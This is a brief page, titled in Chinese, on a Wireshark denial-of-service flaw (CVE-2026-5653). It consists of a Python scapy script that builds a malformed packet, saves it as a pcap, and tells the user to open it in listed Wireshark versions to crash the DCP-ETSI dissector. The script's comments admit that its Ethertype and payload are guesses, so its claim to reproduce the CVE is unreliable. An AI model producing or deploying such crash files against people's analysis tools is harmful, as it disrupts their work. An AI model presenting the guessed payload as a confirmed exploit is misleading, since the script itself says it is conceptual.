CVE-2026-5653 Wireshark拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5653 (Conceptual) # This script generates a malformed packet that may crash the DCP-ETSI dissector. # Note: The exact protocol structure of DCP-ETSI is proprietary/complex. # This is a demonstration of how a malformed packet is crafted. from scapy.all import * import sys # Define a custom Ethernet type for DCP-ETSI (Assumption for PoC) # In reality, one would need to identify the correct Ethertype or LLC/SNAP identifier. DCP_ETSI_ETHERTYPE = 0x88E5 # Example Ethertype, adjust based on actual spec # Create a malicious payload designed to trigger the crash # Based on the CVE, it's likely a length mismatch or invalid index. malicious_payload = b"\x00" * 10 + b"\xff" * 2 + b"\x41" * 200 # Craft the packet packet = Ether(dst="01:00:5e:00:00:01", src="00:11:22:33:44:55", type=DCP_ETSI_ETHERTYPE) / Raw(load=malicious_payload) # Save to pcap wrpcap("cve_2026_5653_poc.pcap", [packet]) print("[+] Malicious pcap file generated: cve_2026_5653_poc.pcap") print("[+] Open this file in Wireshark 4.6.0-4.6.4 or 4.4.0-4.4.14 to reproduce the crash.")